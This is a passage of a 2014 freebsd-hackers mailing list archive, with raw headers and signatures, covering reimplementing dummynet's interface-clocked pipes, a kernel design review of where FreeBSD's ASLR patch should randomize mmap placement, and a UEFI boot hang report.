--GXnG9lkTHtJ5QVkdNQtLPQe3Mr9iakJeC Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On 2014-06-29 10:52, Luigi Rizzo wrote: > On Sun, Jun 29, 2014 at 4:16 PM, Wojciech Puchar < > wojtek@wojtek.tensor.gdynia.pl> wrote: >=20 >> i tried to use ipfw dummynet as described in manual >> >> --- >> If a device name is specified instead of a numeric value, as in >> >> ipfw pipe 1 config bw tun0 >> >> then the transmit clock is supplied by the specified devi= ce. >> At >> the moment only the tun(4) device supports this functiona= lity, >> for use in conjunction with ppp(8). >> >> ---- >> >> >> got "no if support" error message. what i missed? >> >=20 > you missed =E2=80=8Bnothing -- it's just that no device that i know > of still implements the feature. > i implemented it 15 years ago and enabled it on the 'ed' > device driver only. >=20 > What it needed is a notification on the transmit > interrupt to kick the pipe and tell it how many > packets went out (at the time 'ed' only supported > one packet at a time, so the code might make > assumptions).=E2=80=8B >=20 > It might need a bit of redesign these days to make it > work efficiently with fast pipes and deep interface queues. >=20 > cheers > luigi > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" >=20 If you check out the IPFW article in the FreeBSD Journal May/June issue, I have some better examples. When I get time I'll work similar examples into the handbook and maybe the man page. --=20 Allan Jude --GXnG9lkTHtJ5QVkdNQtLPQe3Mr9iakJeC Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTsDvgAAoJEJrBFpNRJZKfUKgP/2cipTTYZ+KAr9MB+BOyhEF1 Z9flNFQ61FAidKIyLRAjoJLspSphvnD0C3R6h3hI8Gi9i13W9WjgZcA7lQfXx+SL 9NxDexJB+WL6Tc0se/Oua7yQ7rcqO6lSmd2ls3rzet+mwegvQ1zj4eyJE2lu1uge rbbN8Pm72ovqTYObc9tZ7y45HPBdCHD/AtwxMZdkkMRZU7CilkMpLoD+UE/sxcbD X73Efe2i6TyVZKWD9xZPWOlkg+QI9g7VUg3/cVsr5G763ODou0qwVkEvLyhbuFAj MmB9qgKCBTuMshh9ASR4CmjVOzXhV8r5PZpgf0U/V2OeSVN5xYdmKm3IDm3c2C6T +Rp0MxPpavhBpAyQhA88qflJpfL76qY5cVtJoqeIi0q3052qlvoUDQQqqxp1r2Lg LMALhoNZv1UHpoS+XonTjNg5grzQcDV6csq36bs8Gyg9n37n2C36cZ5aCYV+3QBj a/M6Ck5vk2tT11QKKww8Mvlys5aauHuIFrmJM5gQcRCeuK/VBjcOzlXYe/dS11IR wmX+FJpPo465yUgepGwg9QudOKIEs3J7L48B24Zoahmaw7KvSlA26zUZm0WiQ/7q M7vPWIaIpqK32EzMJ+QHfGmfik9iSa6yfQwvjZ3t4oxF5hXPQVUTrgK8RDya7+KH Uqkj6OKdDfGuRZ4aUth4 =fJX4 -----END PGP SIGNATURE----- --GXnG9lkTHtJ5QVkdNQtLPQe3Mr9iakJeC-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 16:29:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C1DC7D20 for ; Sun, 29 Jun 2014 16:29:45 +0000 (UTC) Received: from mail-qg0-x22a.google.com (mail-qg0-x22a.google.com [IPv6:2607:f8b0:400d:c04::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 829E4260B for ; Sun, 29 Jun 2014 16:29:45 +0000 (UTC) Received: by mail-qg0-f42.google.com with SMTP id e89so1180082qgf.29 for ; Sun, 29 Jun 2014 09:29:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=PtL1dGKu50YcxVbfFP6jCd9ZkO6J0RT+lrBV0tyb12I=; b=RbsIcr6MYeYC01TUgqCRvJxkBdPnmVA7qmqgfSVD1IUf3f9nK1VawWRdRtuMbxqpWv xOENyH16ZkWctQKC+hyg+SfvrknL0+6Rd6bInusuc3x5HYSmU1eYvG9kTp+1HbBTC/Bu vftgvTS8NGLVHe/Fj1VQMHj7tuxXU9oBFZKK4o/MjCxDauqNZPYkRmKI9jtgU1AfJ+zB +IEkjzFf/FtUHCOvTZwoY/UD89EgRs3nZghyQAgCBsHertFVCKvVUsyN5jeagusAM9Sa GGH43WfJm4I1IsO05PpwEpdcE4985vqGPfe4TKgLrNZl2OBxngmY9rCuAxOhmxHd0bMF aFfA== MIME-Version: 1.0 X-Received: by 10.140.22.134 with SMTP id 6mr48928969qgn.4.1404059384407; Sun, 29 Jun 2014 09:29:44 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.202.193 with HTTP; Sun, 29 Jun 2014 09:29:44 -0700 (PDT) In-Reply-To: References: Date: Sun, 29 Jun 2014 09:29:44 -0700 X-Google-Sender-Auth: k6k_XlPMr-X-fz9R63JssZ4m6x8 Message-ID: Subject: Re: ipfw pipe config bw tun0 From: Adrian Chadd To: Luigi Rizzo Content-Type: text/plain; charset=UTF-8 Cc: Wojciech Puchar , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 16:29:45 -0000 We can start adding that. How should it behave for multi-queue devices? -a On 29 June 2014 07:52, Luigi Rizzo wrote: > On Sun, Jun 29, 2014 at 4:16 PM, Wojciech Puchar < > wojtek@wojtek.tensor.gdynia.pl> wrote: > >> i tried to use ipfw dummynet as described in manual >> >> --- >> If a device name is specified instead of a numeric value, as in >> >> ipfw pipe 1 config bw tun0 >> >> then the transmit clock is supplied by the specified device. >> At >> the moment only the tun(4) device supports this functionality, >> for use in conjunction with ppp(8). >> >> ---- >> >> >> got "no if support" error message. what i missed? >> > > you missed nothing -- it's just that no device that i know > of still implements the feature. > i implemented it 15 years ago and enabled it on the 'ed' > device driver only. > > What it needed is a notification on the transmit > interrupt to kick the pipe and tell it how many > packets went out (at the time 'ed' only supported > one packet at a time, so the code might make > assumptions). > > It might need a bit of redesign these days to make it > work efficiently with fast pipes and deep interface queues. > > cheers > luigi > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 16:51:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 46AB728E for ; Sun, 29 Jun 2014 16:51:19 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C1E50277E for ; Sun, 29 Jun 2014 16:51:18 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s5TGpC81036390 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 29 Jun 2014 19:51:12 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s5TGpC81036390 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s5TGpBIf036389; Sun, 29 Jun 2014 19:51:11 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 29 Jun 2014 19:51:11 +0300 From: Konstantin Belousov To: Alan Cox Subject: Re: Help With ASLR Message-ID: <20140629165111.GI93733@kib.kiev.ua> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140627132810.GA8396@pwnie.vrt.sourcefire.com> <53AD976A.2000503@rice.edu> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="abrXHEFNt7TvgPF5" Content-Disposition: inline In-Reply-To: <53AD976A.2000503@rice.edu> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, Oliver Pinter , Shawn Webb X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 16:51:19 -0000 --abrXHEFNt7TvgPF5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Amusingly, Google classified the thread as spam. On Fri, Jun 27, 2014 at 11:10:18AM -0500, Alan Cox wrote: > On 06/27/2014 08:28, Shawn Webb wrote: > > On Jun 26, 2014 10:32 PM -0500, Alan Cox wrote: > >> On 06/26/2014 18:27, Shawn Webb wrote: > >>> Hey All, > >>> > >>> I've exchanged a few helpful emails with kib@. He has glanced over the > >>> ASLR patch we have against 11-CURRENT (which is also attached to this > >>> email as a reference point). He has suggested some changes to the VM > >>> subsystem that I'm having trouble getting my head wrapped around. > >>> > >>> Essentially, he suggests that instead of doing the randomization in > >>> various places like the ELF loader and sys_mmap, we should modify > >>> vm_map_find() in sys/vm/vm_map.c to apply the randomization there. > >>> > >>> Here's his suggestion in full (I hope he doesn't mind me directly > >>> quoting him): > >>> > >>> The mapping address randomization can only be performed in the > >>> vm_map_find(). This is the place where usermode mapping flags are > >>> already parsed, and the real decision for the placement is done, with > >>> all the contextual information collected, the fixed requests are not > >>> passed there. Doing the 'randomization' in vm_mmap() means that the > >>> mmap command must be parsed twice, which presented patch fails to do > >>> in any sane way. Only mappings in the usermode maps should be > >>> randomized. > >>> > >>> Current patch does not randomize the mapping location at all, it only > >>> randomizes the hint address passed from the userspace, which is > >>> completely useless. > >> > >> Kostik, I'm not sure that I understand what you're saying here. The > >> randomly generated offset is added to the variable "addr" after this > >> block of code has been executed: > >> > >> } else { > >> /* > >> * XXX for non-fixed mappings where no hint is > provided or > >> * the hint would fall in the potential heap space, > >> * place it after the end of the largest possible heap. > >> * > >> * There should really be a pmap call to determine a > >> reasonable > >> * location. > >> */ > >> PROC_LOCK(td->td_proc); > >> if (addr =3D=3D 0 || > >> (addr >=3D round_page((vm_offset_t)vms->vm_taddr) = && > >> addr < round_page((vm_offset_t)vms->vm_daddr + > >> lim_max(td->td_proc, RLIMIT_DATA)))) > >> addr =3D round_page((vm_offset_t)vms->vm_daddr= + > >> lim_max(td->td_proc, RLIMIT_DATA)); > >> PROC_UNLOCK(td->td_proc); > >> } > >> > >> So, the point at which the eventual call to vm_map_findspace() starts > >> looking for free space is determined by the randomization, and thus the > >> chosen address will be influenced by the randomization. The first > >> mmap() that I do in one execution of the program will be unlikely to > >> have the same address in the next execution. I noted this in my text. The model implemented just shifts the address space. A payload which can infers its current address would be able to infer the shifted address of the interesting location. Even if implementing the 'shift' model, vm_map_find() is the proper place, and not the syscall. > >> > >> That said, I think that this block of code would be a better place for > >> the pax_aslr_mmap() call than were it currently resides. Moving it he= re > >> would address the problem with MAP_32BIT mentioned below. > >> > >> > >>> ... It also fails to correct the address to honour > >>> the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. > >> > >> > >> I think that MAP_32BIT is broken, but not MAP_ALIGNMENT_MASK. Whatever > >> address the patch causes to be passed into vm_map_find(), we will round > >> it up as necessary to achieve the requested alignment. > >> > >> In some sense, the real effect of the map alignment directives, > >> including automatic alignment for superpages, is going to be to chop o= ff > >> address bits that Shawn has worked to randomize. More on this below. > >> See [*]. > >> > >>> ... What must > >>> be done is vm_map_find() requesting vm_map_findspace() for the address > >>> hole of the size of the requested mapping + (number of address bits to > >>> randomize << PAGE_SHIFT). Then, the rng value should be obtained and > >>> final location for the mapping calculated as return value + (rng << > >>> PAGE_SHIFT). > >> > >> > >> This seems to be trying to implement a different and more complex sche= me > >> than what Shawn is trying to implement. Specifically, suppose that we > >> have a program that creates 5 mappings with mmap(2). Call them M1, M2, > >> M3, M4, and M5, respectively. Shawn is perfectly happy for M1 to alwa= ys > >> come before M2 in the address space, M2 to always come before M3, and = so > >> on. He's not trying to permute their order in the address space from > >> one execution of the program to the next. He's only trying to change > >> their addresses from one execution to the next. The impression that I > >> got during the BSDCan presentation was that this is what other operati= ng > >> systems were doing, and it was considered strike a reasonable balance > >> between run-time overhead and the security benefits. > >> > >> > >>> > >>> If no address space hole exists which can satisfy the enlarged > >>> request, either a direct fallback to the initial length should be > >>> performed (I prefer this), or exponential decrease of the length up to > >>> the initial size done, and findspace procedure repeated. > >>> > >>> Also, the vm_map_find() knows about the superpages hint for the > >>> mapping being performed, which allows to not break superpages. When > >>> superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available > >>> from pagesizes[1]) should be used instead of PAGE_SHIFT in the formula > >>> above, and probably, a different amount of address bits in the page > >>> table page level 2 to randomize, selected. > >> > >> > >> [*] I agree with this last observation. I mentioned this possibility > >> to Shawn after his talk. On machines where pagesizes[1] is defined, > >> i.e., non-zero, it makes little sense to randomize the low-order addre= ss > >> bits that will be "rounded away" by aligning to pagesizes[1] boundary. > >> > >> > >>> > >>> =3D=3D=3D end of kib@ suggestions =3D=3D=3D > >>> > >>> I have a few concerns, though: > >>> > >>> 1) vm_map_find is also used when loading certain bits of data in the > >>> kernel (like KLDs, for example); I mentioned this in the text you quoted, saying that=20 Only mappings in the usermode maps should be randomized. See vm_map_t system_map field. > >>> 2) It's not possible to tell in vm_map_find if we're creating a mappi= ng > >>> for the stack, the execbase, or any other suitable mmap call. We apply > >>> ASLR differently based on those three aspects; It is possible, I also mentioned it, referencing r267254. The cow argument contains flags which allow to identify stack mappings. The image activators specify the fixed base for mapping. > >>> 3) vm_map_find is also used in initializing the VM system upon boot. > >>> What impacts would this cause? No impact, due to #1. > >>> > >>> I would really appreciate any feedback. Thank you in advance for any > >>> help or guidance. > >> > >> Shawn, while I'm here, I'll mention that what you were doing with stac= ks > >> in pax_aslr_mmap() seemed odd. Can you explain? > >>=20 > >> > > > > Thank you for your input, Alan. From what it sounds like, you're > > suggesting we don't implement the ASLR functionality in vm_map_find() > > and we stick with what we have. Please correct me if I'm wrong. >=20 >=20 > Yes. I interpreted Kostik's email as implicitly proposing a different > specification for how mmap()-created mappings should be handled than you > started from. In other words, if you're not trying to permute the order > in which mappings appear in the address space from execution to > execution, but only shift the entire group of mappings around a bit, > then you don't need to modify vm_map_find(). You can stick with > changing sys_mmap(). >=20 > That said, I'm inferring how you intended mmap()-created mappings to be > handled from looking at the code and statements that you made during > your presentation. Are my two emails correctly describing what you > intended to do with mmap()-created mappings? >=20 > I do, however, think that you're calling pax_aslr_mmap() at an > inopportune point in sys_mmap(). Hopefully, that was clear in my > previous email. >=20 >=20 > > > > Did our changes break MAP_32BIT or was MAP_32BIT broken all along? If > > our ASLR patch breaks it, what would be the best way to fix it? >=20 >=20 > I suspect but I'm not certain that your patch breaks calls to > mmap(MAP_32BIT). But, if you move the call to pax_aslr_mmap() to the > place that I mentioned before, then pax_alsr_mmap() simply won't be > called when MAP_32BIT or MAP_FIXED are passed to mmap(). >=20 >=20 > > > > I'm' a little unsure of your question regarding stacks in > > pax_aslr_mmap(). I don't believe we're doing anything with stacks in > > that function. We do have the function pax_aslr_stack(), but we're > > working on providing a more robust stack randomization (which isn't in > > the patchset I provided). >=20 > mmap(MAP_STACK) is used to create thread stacks. The following code > didn't make sense to me: >=20 > + if (!(td->td_proc->p_vmspace->vm_map.flags & > MAP_ENTRY_GROWS_DOWN)) > + *addr +=3D td->td_proc->p_vmspace->vm_aslr_delta_= mmap; > + else > + *addr -=3D td->td_proc->p_vmspace->vm_aslr_delta_= mmap; >=20 > MAP_ENTRY_GROWS_DOWN is not a valid vm map flag. Moreover, the > subtraction case doesn't make sense to me. >=20 >=20 >=20 --abrXHEFNt7TvgPF5 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTsEP/AAoJEJDCuSvBvK1Bow8P/0PTiM5jsLImsh3qu54gIKvc 0gyS/4TE56fSZK0cQ9Kush0eFRve4z/QRfe++6IM39Xgb3uzhWSEhzpHsMqmtCGf 8QzL3I9wrF0pnMj263z9OEOSpRl3YNAt05TTByyms/7TVL+yRsXgmSBTWIG0+XTp LctPk02oVyW0E6qqfYdzDes0dvf+5DGJXlzqnxD6lZ+D1M80o56aghSRPNe8iCSA 3cHM/2q9+8ZyQW1XQWmNU/CQZJKevjPwjDiuKgpn0oukkk0pFXQxnk6g8c/ONwWV JLn+O4maNoq1ByS0COr1gYYPC/HP5YeScTYXzpES4BefKvAY23VCSfDng4ZaeTZg mJcm+rbwrlWkEWhs8Le+ZS9kqARMVA281I6M1NoDY9p2SpyysGrlJHc2nXR1eMFd FH7DjgDkO8EKqwsKElZRhctcIytnQc0pHR/HbxU8cU/XSokE05f1DXsbQ87F+x/J aFtAF8sLu+8I6t3Xgn4BOkpmk8EgR+IX34kPitgsLlV1BWCbAYd4bZPlW3Vzjcr+ BifnX3YZL1arGBq4hw/zvWqik10wPHZrL2M6+BpMWUbd5VTpyhgO8Tr63nns3QAz hMU96OF8C9AMWJfVx7VcC+EzMb2K/RqmWck9wffQxHWhXV6rJuWCU9rLZLkktDm7 9D+QpgnewnIdvP8OFstq =Bpsi -----END PGP SIGNATURE----- --abrXHEFNt7TvgPF5-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 20:14:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 24493F06 for ; Sun, 29 Jun 2014 20:14:08 +0000 (UTC) Received: from mail-lb0-x229.google.com (mail-lb0-x229.google.com [IPv6:2a00:1450:4010:c04::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9F4902613 for ; Sun, 29 Jun 2014 20:14:07 +0000 (UTC) Received: by mail-lb0-f169.google.com with SMTP id l4so5332242lbv.14 for ; Sun, 29 Jun 2014 13:14:05 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:from:reply-to:to:subject:date:mime-version:content-type :content-transfer-encoding:thread-index:content-language; bh=uO4oWwOGMIDYtWjDE0o1VOFYzeeVetR4hc2Fj+Cy1JA=; b=wfr1lzviSgRn4tdluYdav9AMvz0+Mr+w4YYW5uHAXYtl7PkMbC1HvhR7gFhR621id6 ILwuw2sFF940Djjq/8w1x82zjdN6BkzyVid76vfrccIUrU8ddMePzhPIPHdDoF+cCiUG 05wZ47Xzd8OfphSOP4JCDp6DilBP6g+LCb4GaTX0JphhnkDSPhxSVRQib+73goBAQ3I6 75pR94kd0DMu8gkuL9VTKolPyGxQLsy81b6yJo003i0lN1oP8SK3vym0KTz0LFlES2A/ uKt7At4p/O6t3MpVbwwwyaQ57TlHelbQo3NuEelzTn+d8V+5nxu+CEtBu8nXBmIve04J dyyw== X-Received: by 10.152.7.37 with SMTP id g5mr27986437laa.14.1404072845578; Sun, 29 Jun 2014 13:14:05 -0700 (PDT) Received: from rimwks1w7x64 ([2001:470:1f15:8e:2572:f5c6:8c11:c971]) by mx.google.com with ESMTPSA id y8sm20666745lbr.18.2014.06.29.13.14.03 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Sun, 29 Jun 2014 13:14:04 -0700 (PDT) Message-ID: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> X-Google-Original-Message-ID: <01d301cf93d6$acb34d30$0619e790$@IM@gmail.com> From: rozhuk.im@gmail.com X-Google-Original-From: Reply-To: To: Subject: UEFI boot hang Date: Mon, 30 Jun 2014 00:14:02 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 thread-index: Ac+T1qtVoWxutGvKRbG3dwpCWXCr0w== Content-Language: ru X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 20:14:08 -0000 MB: AM1M-A CPU: 5350 FreeBSD firewall 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r267784 http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_hang.jpg Any ideas? From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 20:17:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 113F3106; Sun, 29 Jun 2014 20:17:24 +0000 (UTC) Received: from mail-lb0-x22c.google.com (mail-lb0-x22c.google.com [IPv6:2a00:1450:4010:c04::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4EC562641; Sun, 29 Jun 2014 20:17:23 +0000 (UTC) Received: by mail-lb0-f172.google.com with SMTP id c11so5303129lbj.17 for ; Sun, 29 Jun 2014 13:17:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:cc:content-type; bh=chXxtCYqNIa/hmaVyGoIh0dCkstasxcUQEtqpfTCi8Y=; b=ZK9PzxNFZL/MSoW0OHhbGsbRdJ9WlBpd/YvGAEoxjKJNpksqNHYsg4ylnd8amwQnlc j0EmEeQng86AFQIIBFKOeVzOI0iHyIJOkE0lxShyZKqy+A2i4CabouHZ3gTFC0veRzO0 e1Aky3+AXd3pNT9FpvNZd54D5Yxrm6z10kiabypcljN1yBKXCobCrn0aDLWlvL0hGNjo OzxO/XBlmrBLEyE0ky4P8aoxlsIkJClX+uiwGgvL/rqk+lv3Ecia1be7A5P15MEXrR1U 7qncCFSNcQivbCwvECbqyPDS7oOpVdY2hq5RdxOe2ascB61+sYpL/sKypHPae3XXV0yf vvLQ== MIME-Version: 1.0 X-Received: by 10.112.149.71 with SMTP id ty7mr26111600lbb.34.1404073041221; Sun, 29 Jun 2014 13:17:21 -0700 (PDT) Sender: rizzo.unipi@gmail.com Received: by 10.114.22.100 with HTTP; Sun, 29 Jun 2014 13:17:21 -0700 (PDT) Date: Sun, 29 Jun 2014 22:17:21 +0200 X-Google-Sender-Auth: DO4qwTihXFnnKuYE7-gkoRUcYLE Message-ID: Subject: Re: ipfw pipe config bw tun0 From: Luigi Rizzo To: Adrian Chadd Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Wojciech Puchar , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 20:17:24 -0000 On Sun, Jun 29, 2014 at 6:29 PM, Adrian Chadd wrote: > We can start adding that. How should it behave for multi-queue devices? > =E2=80=8BLong reply, sorry about that: =E2=80=8B =E2=80=8Bif i remember well, this feature was implemented assuming that at most one packet was outstanding, so multiqueue was not really an issue: any time you get a completion interrupt from any queue you push out the next packet from the pipe. The goal was to provide weighted fair queueing using the actual NIC's bandwidth to clock packets out. Remember, this was done in '99 and on hardware that did not have queues or interrupt moderation. These days, between deep NIC queues, interrupt moderation, multiqueue and very high bandwidths, the assumption of one outstanding packet is a bad one for performance. You'd also have the option to tie a pipe to an individual queue or to the entire NIC (the user API changes to do this is trivial, e.g. you can append a :queue_number to to the interface name as i did in netmap). This said: 1. if you don't mind the fact that the interface has a deep queue, you could just push packets from a PIPE to an interface until if_transmit returns an error (make sure the packet is not lost by adding a reference to the mbuf or something), and then any interrupt completion from any queue would be used to 'clock' packets out. 2. if the NIC's queue bothers you (it might, because it adds an equivalent error to the nice properties of the scheduler), then the pipe could try to track how many bytes are queued, stop after a given threshold, and then when an interrupt completion is received decrease the 'outstanding' counter by the actual number of bytes sent. Essentially, what ALTQ does, but with the classification flexibility of ipfw/dummynet. Surely, keeping only one outstanding packet is too expensive and would kill throughput. But a modern interface with 256..1024 buffers of 1.5K each is up to 3..12 Mbits which is way too high. If we want to (re)implement this feature, we should preliminarly introduce some way to control the outstanding traffic on an interface -- can be done in dummynet as #2 above, or within the NIC's driver if we eventually build something like ethtool/bql . cheers luigi From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 20:23:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D705218 for ; Sun, 29 Jun 2014 20:23:58 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 2291B26CB for ; Sun, 29 Jun 2014 20:23:57 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 192FE38052; Sun, 29 Jun 2014 15:23:51 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id n2Vq_cePn416; Sun, 29 Jun 2014 15:23:51 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id AD3F538051; Sun, 29 Jun 2014 15:23:50 -0500 (CDT) Message-ID: <53B075D4.4060403@freebsd.org> Date: Sun, 29 Jun 2014 13:23:48 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: UEFI boot hang References: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> In-Reply-To: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: rozhuk.im@gmail.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 20:23:58 -0000 Are you running with a VT kernel or GENERIC? syscons (in GENERIC) doesn't work with UEFI. -Nathan On 06/29/14 13:14, rozhuk.im@gmail.com wrote: > MB: AM1M-A > CPU: 5350 > FreeBSD firewall 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r267784 > > http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_hang.jpg > > Any ideas? > > > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 21:36:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F3A96D71; Sun, 29 Jun 2014 21:36:41 +0000 (UTC) Received: from mail-la0-x230.google.com (mail-la0-x230.google.com [IPv6:2a00:1450:4010:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by 